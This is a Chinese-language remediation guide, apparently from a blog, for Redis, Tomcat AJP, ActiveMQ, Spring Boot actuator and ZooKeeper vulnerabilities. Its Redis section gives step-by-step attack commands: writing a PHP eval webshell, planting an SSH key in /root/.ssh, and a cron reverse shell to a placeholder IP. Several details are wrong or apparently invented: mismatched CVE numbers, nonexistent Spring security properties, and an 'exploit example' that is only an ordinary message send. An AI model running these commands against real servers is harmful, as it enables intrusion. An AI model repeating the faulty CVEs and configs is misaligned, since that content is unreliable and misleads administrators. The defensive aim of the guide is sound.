Web漏洞修复

漏洞修复方案

大军安全

二〇二四年四月

目录

一、 Redis未授权访问漏洞... 4

1、 Redis简单介绍... 4

2、 Redis未授权访问漏洞介绍... 4

2.1 利用条件... 4

2.2 影响版本... 4

2.3 漏洞检测... 4

3、 漏洞危害... 4

3.1 Redis写入webshell 5

3.2 Redis写入SSH公钥... 5

3.3 Redis写入计划任务反弹shell 6

4、 Redis未授权访问漏洞防御... 7

5、 总结... 7

二、 Apache Tomcat文件读取漏洞(CVE-2020-1938)... 7

1、 漏洞描述... 7

2、 漏洞影响范围... 8

3、 漏洞检测... 8

3.1 版本检测:... 8

3.2 服务端口检测:... 8

4、 漏洞防护方案... 8

4.1 官方升级... 8

4.2 关闭AJP Connector 8

4.3 配置认证凭证... 8

4.4 防火墙设置... 9

三、 Apache ActiveMQ createThrowable 远程代码执行漏洞(CVE-2023-46604) 9

1、 漏洞描述... 9

2、 漏洞详情... 9

3、 影响版本... 10

4、 漏洞复现... 10

5、 漏洞分析... 10

6、 漏洞利用示例... 10

7、 修复方案... 11

7.1 升级Apache ActiveMQ.. 11

7.2 网络隔离... 11

7.3 关闭不必要的端口... 11

7.4 监控和审计... 11

7.5 补丁应用... 11

8、 总结... 11

四、 Spring Boot框架(CVE-2020-5650)... 11

1、 漏洞描述... 11

2、 升级Spring Boot和Spring Cloud版本... 12

3、 禁用或限制env端点访问... 12

3.1 禁用env端点:... 12

4、 引入Spring Security. 13

5、 清理和检查环境变量... 14

6、 监控和日志记录... 14

五、 Apache Zookeeper 未授权访问漏洞... 14

1、 漏洞描述... 14

2、 防火墙授权访问... 15

2.1 对于iptables:... 15

2.2 对于firewalld:... 15

3、 启用Zookeeper自带的授权访问... 15

3.1 进入Zookeeper命令行客户端:... 16

4、 关闭四字命令... 16

5、 使用SASL_PLAINTEXT认证... 16

6、 绑定指定IP访问... 16

六、 zookeeper四字命令任意执行漏洞(CVE-2020-11580)... 17

1、 漏洞描述... 17

2、 解决方法... 17

Redis是一款内存高速缓存的数据库,是一款K-V型数据库,它的所有键值都是用字典来存储的。其中它的value支持多种数据类型,包括String、List、Set、Zset和Hash。

    1. Redis未授权访问漏洞介绍
      1. 利用条件

Redis默认情况下绑定在127.0.0.1:6379,在没有进行采用相关的策略,如添加防火墙规则避免其他非信任来源ip访问,就会将Redis服务暴露在公网上;

并且Redis默认情况是空密码连接

在服务器以root身份运行Redis时

这将导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。

      1. 影响版本

1# Redis2.x-5.x

      1. 漏洞检测

一般使用nmap工具对目标机器进行扫描。如果发现主机的6379端口是对外开放的,并且目标主机开放外网访问的情况下,就能够在本机使用redis-cli服务连接目标服务器。

redis-cli -h 服务器ip。

    1. 漏洞危害

1# 攻击者无需通过认证就可以访问内部数据,导致敏感信息泄露

2# 攻击者可以恶意执行flushall来清空所有数据

3# 攻击者可通过eval执行lua代码,或通过数据备份功能往磁盘写入后门文件

4# eval()是用来执行一个字符串表达式,并返回表达式的值。

5# lua是一种脚本语言,用C语言编写,源码开放,其设计目的是为了嵌入程序应用,为应用程序提供便利的拓展功能。

6# 由于Redis以root权限运行,攻击者可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。

      1. Redis写入webshell
        1. 原理

Redis为了持久化连接,将数据保存在了本地。那么攻击者可以将后门代码作为value值,写入web目录下的.php文件,就可实现php的webshell。

        1. 利用条件

1# 当存在未授权访问漏洞时,可以直接通过Redis连接靶机;

2# 如果靶机正好开启web服务;

3# 且攻击者知道了web目录的路径且该路径具有文件读写的权限。

这时候攻击者可以通过Redis写入webshell。

        1. 利用过程

以下为举例:

1# config set dir /var/www.html/        #切换到web写入目录

2# config set dbfilename zcc.php        #设置写入木马的文件名

3# set xxx "\n\n\n<?php @eval($_POST['zcc']);?>\n\n\n"        #写入恶意代码到内存中,这里的换行符是必要的,因为用Redis写入文件会自带一些版本信息,如果不换行可能执行不了

4# save      #将内存中的数据导出到磁盘

      1.    Redis写入SSH公钥
        1. 原理

在Redis数据库中插入一条数据,将本机的公钥作为value,然后通过修改数据库的默认路径为/root/.ssh(ssh文件夹)和默认的缓冲文件authorized.keys(公钥文件),把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。

        1. 利用条件

1# 通过漏洞成功连接Redis之后;

2# 且Redis服务以root权限执行;

3# 以及安全模式protected-mode处于关闭状态;

4# 服务器开启了ssh服务,且允许密钥登录。将密钥等配置信息存放在/root/.ssh目录(安装了openssh只要将公钥放入到/root/.ssh文件夹中,无需设置默认就允许使用公钥登录),即可远程写入一个公钥,直接登录远程服务器。

        1. 利用过程

1# ssh-keygen -t rsa

2# config set dir /root/.ssh

3# config set dbfilename authorized_keys

4# set x "\n\n\nssh-rsa ...公钥...\n\n\n"

5# save

6# 连接:

7# ssh -i id_rsa root@ip

      1. Redis写入计划任务反弹shell
        1. 原理

在数据库中插入一条数据,将计划任务的内容作为value值,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以一个计划任务进行反弹shell。

        1. 利用条件

1# 能够远程连接到Redis

2# 安全模式protectcd-mode处于关闭模式

3# 以root权限运行

        1. 利用过程

1# set x "\n\n****bash -i >& /dev/tcp/xx.xx.xx.xx/8089 0>&1 \n\n"

2# config setdir /var/spool/cron

3# config set dbfilename root

4# save

    1. Redis未授权访问漏洞防御

1# 限制访问IP

2# 修改默认端口

3# 使用密码登录,限制密钥登录

4# 不使用root运行Redis

    1. 总结

    Redis未授权访问漏洞是由于配置问题而产生的漏洞,因为没有改变默认端口6379且没有限制外来IP访问导致的漏洞。

    Redis未授权漏洞一般可以用来写入webshell、写入ssh公钥进行登录、写入任务反弹shell连接

    这些漏洞原理本质就是能够远程连接上Redis,且能够有root权限进行修改文件,然后将想要实现的内容写入就可以达成目的

    Redis未授权漏洞的防御针对以上几点大概有:限制访问IP、修改默认端口、不使用密钥登录、不使用root权限运行Redis。

Apache Tomcat文件读取漏洞(CVE-2020-1938)是一个严重的安全问题,它允许未经授权的攻击者远程读取服务器上的任意文件。这个漏洞是由于Tomcat AJP协议实现中的缺陷导致的。攻击者可以通过构造特定的请求,利用该漏洞读取webapp目录下的文件,如果服务器存在文件上传功能,还可能进一步实现远程代码执行。

    1. 漏洞影响范围

1# Apache Tomcat 6

2# Apache Tomcat 7 < 7.0.100

3# Apache Tomcat 8 < 8.5.51

4# Apache Tomcat 9 < 9.0.31

    1. 漏洞检测
      1. 版本检测:

用户可以通过查看Tomcat安装目录的版本号来确定是否受到该漏洞的影响。通常,Tomcat的安装包名称中会包含版本信息。如果目录名称被修改过,可以通过执行version.bat(位于Tomcat的bin目录下)来获取版本号。

      1. 服务端口检测:

如果Tomcat开启了AJP Connector并且监听在默认端口(8009),则可能存在被利用的风险。

    1. 漏洞防护方案
      1. 官方升级

受影响的用户应尽快升级到官方已发布的安全版本,即Apache Tomcat 7.0.100、8.5.51和9.0.31,这些版本已经修复了该漏洞。

      1. 关闭AJP Connector

如果暂时无法升级,可以考虑关闭AJP Connector,或将其监听地址改为仅监听本机(localhost)。这可以通过编辑Tomcat的server.xml配置文件来实现,具体操作如下:

1# 找到<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />这一行。

2# 将其注释掉或删除,即<!-- <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" /> -->。

      1. 配置认证凭证

如果必须使用AJP协议,可以为AJP Connector配置认证凭证。对于Tomcat 7和9用户,可以设置secret属性;对于Tomcat 8用户,可以设置requiredSecret属性。示例配置如下:

1# <Connector port="8009" protocol="AJP/1.3" redirectPort="8443"

2#           address="YOUR_TOMCAT_IP_ADDRESS"

3#           secret="YOUR_TOMCAT_AJP_SECRET" />

4# 或者对于Tomcat 8:

5#   <Connector port="8009" protocol="AJP/1.3" redirectPort="8443"

6#           address="YOUR_TOMCAT_IP_ADDRESS"

7#           requiredSecret="YOUR_TOMCAT_AJP_SECRET" />

注意:YOUR_TOMCAT_AJP_SECRET应更换为一个安全性高、无法被轻易猜解的值。

      1.   防火墙设置

阻止不可信任的来源访问Tomcat AJP Connector端口(默认8009),可以通过配置防火墙规则来实现。

Apache ActiveMQ 是一个开源的消息代理和集成模式服务器,它支持多种语言的客户端和协议。近期,Apache ActiveMQ 被披露存在一个严重的安全漏洞,该漏洞允许未经授权的远程攻击者通过构造恶意请求来执行任意代码,从而完全控制受影响的服务器。

    1. 漏洞详情

1# 漏洞名称: Apache ActiveMQ createThrowable 远程代码执行漏洞

2# CVE编号: CVE-2023-46604

3# CVSSv3评分: 10.0(严重)

    1. 影响版本

根据披露的信息,该漏洞影响的Apache ActiveMQ版本尚未明确列出,但通常新版本会修复已知的安全问题。用户应检查并升级到最新的安全版本,以确保受到保护。

    1. 漏洞复现

奇安信CERT已成功复现了该漏洞,表明攻击者可以通过发送特制的恶意数据到ActiveMQ的61616端口,利用createThrowable方法来实现远程代码执行。

    1. 漏洞分析

漏洞的根本原因在于ActiveMQ处理某些消息时存在不当的反序列化操作。攻击者可以通过发送特制的恶意对象,利用ActiveMQ的openwire协议中的createThrowable方法来执行任意代码。在漏洞利用过程中,攻击者可能会使用ClassPathXmlApplicationContext类来加载远程的XML配置文件,从而触发远程代码执行。

    1. 漏洞利用示例

攻击者可能会使用如下Java代码片段来构造恶意请求:

1# public static void sendToActiveMQ() throws Exception {

2#     // 创建连接工厂和连接

3#     ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");

4#     Connection connection = connectionFactory.createConnection("admin", "admin");

5#     connection.start();

6#     // 创建会话和消息生产者

7#     Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);

8#     MessageProducer producer = session.createProducer(session.createQueue("q_test"));

9#     // 创建恶意消息并发送

10#     Message message = session.createTextMessage("恶意数据");

11#     producer.send(message);

12#     connection.close();

13# }

    1. 修复方案
      1. 升级Apache ActiveMQ

立即升级到最新版本的Apache ActiveMQ,以获取安全修复。

      1. 网络隔离

将ActiveMQ服务器部署在受信任的网络环境中,并限制对61616端口的访问。

      1. 关闭不必要的端口

如果ActiveMQ的61616端口不是必须开放的,建议关闭该端口。

      1. 监控和审计

启用日志记录和监控,以便跟踪对ActiveMQ的访问和操作。

      1. 补丁应用

如果官方提供了针对该漏洞的补丁,应尽快应用。

    1. 总结

Apache ActiveMQ的createThrowable远程代码执行漏洞是一个严重的安全问题,需要立即采取措施进行修复。用户应密切关注官方的安全通告,并采取上述措施来保护其ActiveMQ服务器。安全是一个持续的过程,需要不断地评估、改进和更新安全措施。

Spring Boot框架中的env接口信息泄露漏洞(CVE-2020-5650)是由于Spring Boot Actuator组件中的env端点存在未授权访问问题,导致攻击者可以获取敏感的环境变量信息。这个问题在Spring Cloud和Spring Boot的早期版本中普遍存在。为了彻底修复这个漏洞,可以采取以下措施:

    1. 升级Spring Boot和Spring Cloud版本

首先,检查并升级到修复了该漏洞的Spring Boot和Spring Cloud版本。对于Spring Boot,建议升级到1.5.x以上版本,而对于Spring Cloud,建议升级到1.3.0.RELEASE以上版本。

    1. 禁用或限制env端点访问

如果你无法立即升级,可以通过修改application.propertiesapplication.yml文件来禁用或限制对env端点的访问。

      1. 禁用env端点

1# management.endpoint.env.enabled=false

2# 或者在application.yml中:

3# management:

4# endpoint:

5# env:

6# enabled: false

  限制env端点的访问: 如果业务需求必须开放env端点,可以通过配置安全策略来限制访问。例如,只允许特定的IP地址访问:

1# management.endpoint.env.id=env

2# management.endpoints.web.exposure.include=env

3# spring.security.filterChainProxyPattern=/**

4# spring.security.filterChainProxyOrder=0

5# spring.security.filters=env

6# spring.security.filter.order=0

7# spring.security.filter.deny-ip=*

8# spring.security.filter.permit-ip=192.168.1.1

    1. 引入Spring Security

引入Spring Security依赖,并在应用中启用安全配置,这样可以对所有端点进行身份验证和访问控制。

添加Spring Security依赖

1# <dependency>

2#     <groupId>org.springframework.boot</groupId>

3#     <artifactId>spring-boot-starter-security</artifactId>

4# </dependency>

或者在Gradle中:

1#  implementation 'org.springframework.boot:spring-boot-starter-security'

配置安全策略: 在Spring Boot应用中配置安全策略,例如使用基本的HTTP认证:

1# @Configuration

2# public class SecurityConfig extends WebSecurityConfigurerAdapter {

3#     @Override

4#     protected void configure(HttpSecurity http) throws Exception {

5#         http

6#             .authorizeRequests()

7#                 .anyRequest().authenticated()

8#                 .and()

9#             .httpBasic()

10#                 .and()

11#             .csrf().disable();

12#     }

13#     @Override

14#     public void configure(AuthenticationManagerBuilder auth) throws Exception {

15#         auth.inMemoryAuthentication()

16#             .withUser("user")

17#             .password("password")

18#             .roles("USER");

19#     }

20# }

    1. 清理和检查环境变量

清理和检查你的环境变量,确保没有敏感信息泄露。对于已经泄露的环境变量,应该立即更改其值。

    1. 监控和日志记录

开启安全日志记录,监控所有对env端点的访问尝试,以便及时发现和响应潜在的安全威胁。

Apache Zookeeper 未授权访问漏洞是一个严重的安全问题,它允许未经授权的用户访问Zookeeper服务并获取敏感信息。以下是针对该漏洞的详细修复方案:

    1. 防火墙授权访问

可以通过配置防火墙规则来限制对Zookeeper服务端口(默认为2181)的访问。这可以通过使用iptables或其他防火墙工具来实现。

      1. 对于iptables

1# # 封禁所有对2181端口的访问

2# iptables -I INPUT -p tcp --dport 2181 -j DROP

3# # 仅允许特定IP地址访问2181端口

4# iptables -I INPUT -s 10.88.2.208 -p tcp --dport 2181 -j ACCEPT

5# iptables -I INPUT -s 10.88.2.209 -p tcp --dport 2181 -j ACCEPT

      1. 对于firewalld

1# # 添加规则禁止所有IP访问2181端口

2# firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="0.0.0.0/0" port protocol="tcp" port="2181" drop'

3# # 添加规则允许特定IP段访问2181端口

4# firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="192.168.1.1/24" port protocol="tcp" port="2181" accept'

    1. 启用Zookeeper自带的授权访问

Zookeeper 3.4.6及以上版本支持通过ACL(Access Control List)来限制访问。可以通过以下步骤启用授权访问:

      1. 进入Zookeeper命令行客户端:

1# ./zkCli.sh -server 127.0.0.1

对于Windows环境,运行 %ZOOKEEPER_HOME%\bin\zkCli.cmd

设置节点的ACL。例如,为根节点/设置ACL:

1# setAcl / ip:127.0.0.1:cdrwa

这里ip:127.0.0.1:cdrwa表示只允许本地IP地址127.0.0.1以cdrwa(创建、删除、读取、写入、管理)权限访问。

为其他节点设置ACL,如/dubbo/zookeeper等。

使用getAcl命令检查ACL是否设置成功:

1# getAcl /new

    1. 关闭四字命令

Zookeeper支持一些四字命令,这些命令可以用于管理和调试Zookeeper服务。出于安全考虑,应该关闭这些命令。

1# 升级Zookeeper到3.5.3版本或更高版本。

2# 在Zookeeper配置文件zoo.cfg中设置四字命令白名单,并关闭HTTP四字命令工具:

3# 4lw.commands.whitelist=stat, srvr

4# admin.enableServer=false

这里4lw.commands.whitelist指定了允许执行的四字命令,admin.enableServer用于控制是否允许通过HTTP执行四字命令。

    1. 使用SASL_PLAINTEXT认证

开启SASL_PLAINTEXT认证可以要求客户端在连接Zookeeper时提供用户名和密码。

1# 在Zookeeper配置文件zoo.cfg中添加或修改以下配置:

2# requireClientAuthScheme=sasl

3# 收集并配置客户端的用户名和密码。

    1. 绑定指定IP访问

如果Zookeeper服务只需要在特定的网络环境中使用,可以绑定服务到特定的IP地址,从而避免公网访问。

"四字成语漏洞"通常指的是ZooKeeper服务的四字命令执行漏洞,CVE编号为CVE-2020-11580。这个漏洞允许未授权的攻击者远程执行任意命令。

    1. 解决方法

升级ZooKeeper到安全版本。对于Apache ZooKeeper,可以升级到以下安全版本之一:

1# 3.6.3或更高版本

2# 3.7.0或更高版本

如果无法立即升级,可以通过配置ZooKeeper的配置文件(通常是zoo.cfg)来禁用adminServer.port

设置合适的权限和认证机制,确保ZooKeeper的交互安全。

监控安全更新,并及时应用最新的安全补丁。

示例配置更新(禁用admin端口):

1# admin.serverPort=-1

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值